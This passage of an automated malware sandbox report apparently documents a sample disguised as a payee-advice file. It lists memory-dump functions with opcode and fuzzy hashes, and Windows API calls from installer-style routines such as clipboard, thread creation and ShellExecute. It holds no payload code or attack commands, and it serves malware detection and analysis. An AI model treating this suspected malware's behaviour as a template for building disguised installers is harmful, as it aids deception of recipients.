Opcode ID: dc3ae437ff331090993cfffcad5735d5895b37c77bb5b686050c3065896e733c
Instruction ID: ad053a01168535bf74670881b13d413cb26b0203cb565ce5d6237fd239534432
Opcode Fuzzy Hash: dc3ae437ff331090993cfffcad5735d5895b37c77bb5b686050c3065896e733c
Instruction Fuzzy Hash: E2D19178E10218CFDB54DFA9C994B9DBBB2BF89300F2080A9D509AB355DB315E86CF51

Function 3A7E0DF0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9aff4c1790bc1b9ceacd978919c778fe55930cc4d6ea32a5a0ff2e2de2fac0b
Instruction ID: 60dc5d81b37aba48c2a6c3c82583ea2e7616be4b9ad9c7b34631ffeb3221ec0a
Opcode Fuzzy Hash: b9aff4c1790bc1b9ceacd978919c778fe55930cc4d6ea32a5a0ff2e2de2fac0b
Instruction Fuzzy Hash: D5D19078E10218CFDB54DFA9C994B9DBBB2BF89300F2080A9D809AB355DB315D86CF51

Function 3A7E3FE8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b0f77c425e93a687e7b24e6a0c5b62b732c0ab783a2672a19ff6c05f71bb920
Instruction ID: 337402d51b33006e075f41a98e7c6217b104b6497ffbe4ac3549e67c9b833b4a
Opcode Fuzzy Hash: 9b0f77c425e93a687e7b24e6a0c5b62b732c0ab783a2672a19ff6c05f71bb920
Instruction Fuzzy Hash: 0ED1A178E10218CFDB54DFA9C984B9DBBB2BF89300F2080A9D409AB355DB315D86CF51

Function 3A7E04D0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9479548421027d9633177c86266fe87b06a14cb07d481e9cf5a44fb5803f85d
Instruction ID: 413828ba7e3e7cc8775105b57bd19144c72934669fe24a693298394b031d58fa
Opcode Fuzzy Hash: c9479548421027d9633177c86266fe87b06a14cb07d481e9cf5a44fb5803f85d
Instruction Fuzzy Hash: 56D19078E10218CFDB54DFA9C994B9DBBB2BF89300F2080A9D409AB355DB355D86CF51

Function 3A7E36C8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ce1a0c6bc2a86cb6abe053d389265b72045f2a6c523ba569fe1fa93e8279cd1
Instruction ID: 698996f7735f0a68fa057e3e915aadf9556574ab35d0c32850afe61cb03ede04
Opcode Fuzzy Hash: 5ce1a0c6bc2a86cb6abe053d389265b72045f2a6c523ba569fe1fa93e8279cd1
Instruction Fuzzy Hash: 50D1B078E10218CFDB54DFA9C984B9DBBB2BF89300F2090A9D809AB355DB315D86CF51

Function 3A7E56B8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a948e00622fbf13d85e844b0a51f1d46fc2c09b6279dc8cb4780f9ea634ed8e
Instruction ID: 951c9bbddf3fc8b912d0a34d0a8eb3b544d635ba59b339e59a551bd6ebb8d089
Opcode Fuzzy Hash: 6a948e00622fbf13d85e844b0a51f1d46fc2c09b6279dc8cb4780f9ea634ed8e
Instruction Fuzzy Hash: 53D1AF78E10218CFDB54DFA9C990B9DBBB2BF89300F2080A9D909AB355DB355D86CF51

Function 3A7E2DA8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0b786a414bf218262b5392694727d2bfe786f07dbfbd244b62718356b0a548c
Instruction ID: 5e31b0c3c22e1e2c467bca2afc873b014cf5b5beb5c90016192e5765f6aaaa03
Opcode Fuzzy Hash: f0b786a414bf218262b5392694727d2bfe786f07dbfbd244b62718356b0a548c
Instruction Fuzzy Hash: 13D1A078E10218CFDB54DFA9C984B9DBBB2BF89300F2080A9D809AB355DB355D86CF51

Function 3A7E4D98 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69d9eb272f91d8ba412a0b4fa1e7f48eb1783f632d535ff1254c96434f32d920
Instruction ID: d0a0110acbb39c5e63e514c208ecf0e16ec56e579fe9df89d1d8359d9ae37b8b
Opcode Fuzzy Hash: 69d9eb272f91d8ba412a0b4fa1e7f48eb1783f632d535ff1254c96434f32d920
Instruction Fuzzy Hash: D1D1A178E10218CFDB54DFA9C980B9DBBB2BF89300F2080A9D909AB355DB355D86CF51

Function 3A7E2488 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81147e75353942af70cfbbaea0bb3085fae26b24a7a9baf631ecb3f2528ca81e
Instruction ID: b7d121a2e73ce0674abda1696041be77321309ee41153940410d4e546fbbf144
Opcode Fuzzy Hash: 81147e75353942af70cfbbaea0bb3085fae26b24a7a9baf631ecb3f2528ca81e
Instruction Fuzzy Hash: 9CD1A178E10218CFDB54DFA9C990B9DBBB2BF89300F2080A9D909AB355DB355D86CF51

Function 3A7E1280 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 768146598380743b2d49157d11dbfc7eb8772b30a22568a864f997809aff801a
Instruction ID: be322fa4c5b4da48d9369f08689085dea688e5ace46c4b0fe27af290597ea97c
Opcode Fuzzy Hash: 768146598380743b2d49157d11dbfc7eb8772b30a22568a864f997809aff801a
Instruction Fuzzy Hash: 16D1A178E10218CFDB54DFA9C994B9DBBB2BF89300F2080A9D909AB355DB315D86CF51

Function 39EFD9A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa8af9fea260036e3759d6cff0b65249ba6da560ea69d2dbf1ccf192c735023b
Instruction ID: ccee2be39639b07e99eb186941e3373ba6489e8cd6dbdb865eabc47c8baa05f7
Opcode Fuzzy Hash: fa8af9fea260036e3759d6cff0b65249ba6da560ea69d2dbf1ccf192c735023b
Instruction Fuzzy Hash: 30C1D274E10218CFDB54DFA5C944B9DBBB2BF89300F2081AAD809AB395DB359E85CF50

Function 39EFD550 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d3643d024b0cf6a75926e23a6f70855324f78ccb89273635c46c3f0e3fb0d71
Instruction ID: af33ed138b63c3de5e6172431d5e6e9a77f7e482debd5270542aa550e8b25c8a
Opcode Fuzzy Hash: 3d3643d024b0cf6a75926e23a6f70855324f78ccb89273635c46c3f0e3fb0d71
Instruction Fuzzy Hash: 81C1B374E11218CFDB54DFA5C994B9DBBB2BF89300F2080AAD409AB395DB359E85CF50

Function 39EFD0F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0501f6102f794833600e0869a7dddb29b4e41157681544e8d5dd18d31ce91380
Instruction ID: 49b5dbc8345dd16f6715f8fd1e068d3922d98a54a85b483b4299e67d1635d9cf
Opcode Fuzzy Hash: 0501f6102f794833600e0869a7dddb29b4e41157681544e8d5dd18d31ce91380
Instruction Fuzzy Hash: A5C1B274E11218CFDB54DFA5C994B9DBBB2BF89300F2080AAD409AB355DB35AE85CF50

Function 39EFCCA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c140cda148e5bcc5219eb5e141b65f0ef1f7be74e544a4fd8e5ca6ed2ae171f
Instruction ID: 75a1be4dab565e5ff09c143ca75b71efe86ba2931feb5be3868f5393c617f0b2
Opcode Fuzzy Hash: 7c140cda148e5bcc5219eb5e141b65f0ef1f7be74e544a4fd8e5ca6ed2ae171f
Instruction Fuzzy Hash: F9C1B274E11218CFDB54DFA5C954B9DBBB2BF89300F2080AAD409AB395DB359E85CF50

Function 39EFF810 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8332e7fe70a73d5f7228d7651d795723ac30ffeae77e6d1620952616f817cd48
Instruction ID: 99cbacfe5108d2614c4a8e0a838fdae64eba9bcc3f65d21abce26b3e3ba62529
Opcode Fuzzy Hash: 8332e7fe70a73d5f7228d7651d795723ac30ffeae77e6d1620952616f817cd48
Instruction Fuzzy Hash: B0C1A374E11218CFDB54DFA5C954B9DBBB2BF89300F2080AAD809AB395DB359E85CF50

Function 39EFF3B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ef790968e02457f435d00b239aa27797a8ae7885db32def04a270aa78a585cc
Instruction ID: 3c1d709e5de141312518cd7ecac0b0d0d0ecc0f0b7037d057247b3371dff81ad
Opcode Fuzzy Hash: 5ef790968e02457f435d00b239aa27797a8ae7885db32def04a270aa78a585cc
Instruction Fuzzy Hash: 99C1B374E11218CFDB54DFA5C994B9DBBB2BF89300F2080AAD409AB395DB359E85CF50

Function 39EFEF60 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a91ea10cc2d366a83187fd53122b46bab4858e371a0859ada4a8f83f5f3d2ae
Instruction ID: bdff9a7eea5058f163bfc0a3d0557af421d572a229624bb3e977095b87f02a40
Opcode Fuzzy Hash: 9a91ea10cc2d366a83187fd53122b46bab4858e371a0859ada4a8f83f5f3d2ae
Instruction Fuzzy Hash: 0FC1B374E11218CFDB54DFA5C954B9DBBB2BF89300F2080AAD409AB395DB35AE85CF50

Function 39EFEB08 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9450353159a5c2a0714f824728bf3399ffd79f1023fd58ae08eda7826bfb82a
Instruction ID: 44673b5c76d1accdb6b6f3d46cd5ba4711f62266eb611510967281b1cf35dd25
Opcode Fuzzy Hash: b9450353159a5c2a0714f824728bf3399ffd79f1023fd58ae08eda7826bfb82a
Instruction Fuzzy Hash: 1FC1A274E11218CFDB54DFA5C954B9DBBB2BF89300F2080AAD409AB395DB35AE85CF50

Function 39EFE6B0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fca0620aa4daa1f458a10b76e5472c12d918d475d2a05b42d45c74c50b06372
Instruction ID: ef59011ca59fa8fd5da45688b99425a625e0ddf9eaa4d77a3788ef1861502b9e
Opcode Fuzzy Hash: 1fca0620aa4daa1f458a10b76e5472c12d918d475d2a05b42d45c74c50b06372
Instruction Fuzzy Hash: 38C1B274E11218CFDB54DFA5C954B9DBBB2BF89300F2080AAD409AB395DB35AE85CF50

Function 3A7E1BA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8053242d8930e868b6b0e09fc335907156c601c977699b7a7ee78681c64e93b5
Instruction ID: aec56b887523a0a674ca7f9f14111f3920fcae11be6d041ac837708a4d678ba9
Opcode Fuzzy Hash: 8053242d8930e868b6b0e09fc335907156c601c977699b7a7ee78681c64e93b5
Instruction Fuzzy Hash: 79C1A274E11218CFDB54DFA5C994B9DBBB2BF89300F2080AAD409AB355DB359E85CF50

Function 39EF0673 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91118f4ffe157178db19ad14826e2595c67bd6ad6671e6fef8dfbb4ce02331f0
Instruction ID: 635d81ae35e7d0bcb66728771b3050e092b02316ed7cc5e0bb2b529c39082e44
Opcode Fuzzy Hash: 91118f4ffe157178db19ad14826e2595c67bd6ad6671e6fef8dfbb4ce02331f0
Instruction Fuzzy Hash: 42A1BC74A01268DFDB64DF64C894BDABBB2BB4A305F5084EAD40EA7350CB319E81CF51

Function 39EF0853 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5dd5ec4de7ab123732380db5333e6561015977a444f09a6af6320046435bbf5
Instruction ID: 840f352f193863ce0d5769c7169f107396ad05ee8c66305b1fb638729cd0bfb7
Opcode Fuzzy Hash: d5dd5ec4de7ab123732380db5333e6561015977a444f09a6af6320046435bbf5
Instruction Fuzzy Hash: E1519E74A01229DFCB64DF64C854BAAB7B2FB4A305F5085EAD40EA7350CB319E82CF50

Function 004052D3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405332
GetDlgItem.USER32(?,000003EE), ref: 00405341
GetClientRect.USER32(?,?), ref: 0040537E
GetSystemMetrics.USER32(00000015), ref: 00405386
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004053A7
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053B8
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053CB
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053D9
SendMessageW.USER32(?,00001024,00000000,?), ref: 004053EC
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040540E
ShowWindow.USER32(?,00000008), ref: 00405422
GetDlgItem.USER32(?,000003EC), ref: 00405443
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405453
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040546C
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405478
GetDlgItem.USER32(?,000003F8), ref: 00405350

Part of subcall function 00404164: SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

GetDlgItem.USER32(?,000003EC), ref: 00405495
CreateThread.KERNEL32(00000000,00000000,Function_00005267,00000000), ref: 004054A3
CloseHandle.KERNEL32(00000000), ref: 004054AA
ShowWindow.USER32(00000000), ref: 004054CE
ShowWindow.USER32(?,00000008), ref: 004054D3
ShowWindow.USER32(00000008), ref: 0040551D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405551
CreatePopupMenu.USER32 ref: 00405562
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405576
GetWindowRect.USER32(?,?), ref: 00405596
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055AF
SendMessageW.USER32(?,00001073,00000000,?), ref: 004055E7
OpenClipboard.USER32(00000000), ref: 004055F7
EmptyClipboard.USER32 ref: 004055FD
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405609
GlobalLock.KERNEL32(00000000), ref: 00405613
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405627
GlobalUnlock.KERNEL32(00000000), ref: 00405647
SetClipboardData.USER32(0000000D,00000000), ref: 00405652
CloseClipboard.USER32 ref: 00405658

Strings

{, xrefs: 0040553B

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 40d8ee56fed0ff9bd7faebda229d010c99ca55f69e8b7427a9ca7d215ef8d0f7
Instruction ID: 9fa9afbe460ba73b362fbd7a7e80f39848d7c2b38d0fa32ac3ffaaa5a75fb061
Opcode Fuzzy Hash: 40d8ee56fed0ff9bd7faebda229d010c99ca55f69e8b7427a9ca7d215ef8d0f7
Instruction Fuzzy Hash: 4AB16B70900209BFDF219F60DD89AAE7B79FB04315F50803AFA05BA1A0C7759E52DF69

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C93
ShowWindow.USER32(?), ref: 00403CB0
DestroyWindow.USER32 ref: 00403CC4
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CE0
GetDlgItem.USER32(?,?), ref: 00403D01
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D15
IsWindowEnabled.USER32(00000000), ref: 00403D1C
GetDlgItem.USER32(?,00000001), ref: 00403DCA
GetDlgItem.USER32(?,00000002), ref: 00403DD4
SetClassLongW.USER32(?,000000F2,?), ref: 00403DEE
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E3F
GetDlgItem.USER32(?,00000003), ref: 00403EE5
ShowWindow.USER32(00000000,?), ref: 00403F06
EnableWindow.USER32(?,?), ref: 00403F18
EnableWindow.USER32(?,?), ref: 00403F33
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F49
EnableMenuItem.USER32(00000000), ref: 00403F50
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F68
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F7B
lstrlenW.KERNEL32(004226D0,?,004226D0,004281E0), ref: 00403FA4
SetWindowTextW.USER32(?,004226D0), ref: 00403FB8
ShowWindow.USER32(?,0000000A), ref: 004040EC

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: bcef63d1befa62095ffb28f8decf7ccef4978ac163dab3c6641283cf9af83911
Instruction ID: 25e1393ee42f6df426570fd4a537ecf3dcaf9ce603c4882d15cf919a8637c385
Opcode Fuzzy Hash: bcef63d1befa62095ffb28f8decf7ccef4978ac163dab3c6641283cf9af83911
Instruction Fuzzy Hash: 2FC1A071A08205BBDB206F61ED49E3B3A68FB89745F40053EF601B15F1CB799852DB2E

Function 004038B4 Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 216stringregistrylibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

lstrcatW.KERNEL32(00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,00436800,75923420,00000000,00434000), ref: 00403935
lstrlenW.KERNEL32(00427180,?,?,?,00427180,00000000,00434800,00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,00436800), ref: 004039B5
lstrcmpiW.KERNEL32(00427178,.exe,00427180,?,?,?,00427180,00000000,00434800,00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000), ref: 004039C8
GetFileAttributesW.KERNEL32(00427180), ref: 004039D3
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00434800), ref: 00403A1C

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

RegisterClassW.USER32(00428180), ref: 00403A59
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A71
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AA6
ShowWindow.USER32(00000005,00000000), ref: 00403ADC
LoadLibraryW.KERNEL32(RichEd20), ref: 00403AED
LoadLibraryW.KERNEL32(RichEd32), ref: 00403AF8
GetClassInfoW.USER32(00000000,RichEdit20W,00428180), ref: 00403B08
GetClassInfoW.USER32(00000000,RichEdit,00428180), ref: 00403B15
RegisterClassW.USER32(00428180), ref: 00403B1E
DialogBoxParamW.USER32(?,00000000,00403C57,00000000), ref: 00403B3D

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 004038E8
RichEdit20W, xrefs: 00403B00, 00403B06
RichEdit, xrefs: 00403B0F
.exe, xrefs: 004039C2
_Nb, xrefs: 00403A38, 00403AA0
.DEFAULT\Control Panel\International, xrefs: 00403920
RichEd32, xrefs: 00403AF3
RichEd20, xrefs: 00403AE8

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-1115850852
Opcode ID: d0fa4835c9c244ef81a80b769fa25e5675a0a47ce1ec59f3ecf61db25a6a7c64
Instruction ID: b862c1471ebdc097eb7bd7ac0b5924faedec86185335dcace1f032bfb9465ac2
Opcode Fuzzy Hash: d0fa4835c9c244ef81a80b769fa25e5675a0a47ce1ec59f3ecf61db25a6a7c64
Instruction Fuzzy Hash: 5561B670604201BAE720AF669C46E3B3A6CEB45759F40453FF945B62E2CB786D02CA2D

Function 004042CC Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040436A
GetDlgItem.USER32(?,000003E8), ref: 0040437E
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040439B
GetSysColor.USER32(?), ref: 004043AC
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043BA
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043C8
lstrlenW.KERNEL32(?), ref: 004043CD
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043DA
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043EF
GetDlgItem.USER32(?,0000040A), ref: 00404448
SendMessageW.USER32(00000000), ref: 0040444F
GetDlgItem.USER32(?,000003E8), ref: 0040447A
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044BD
LoadCursorW.USER32(00000000,00007F02), ref: 004044CB
SetCursor.USER32(00000000), ref: 004044CE
ShellExecuteW.SHELL32(0000070B,open,00427180,00000000,00000000,00000001), ref: 004044E3
LoadCursorW.USER32(00000000,00007F00), ref: 004044EF
SetCursor.USER32(00000000), ref: 004044F2
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404521
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404533

Strings

open, xrefs: 004044DB
CB@, xrefs: 004044D8
N, xrefs: 00404468

Memory Dump Source

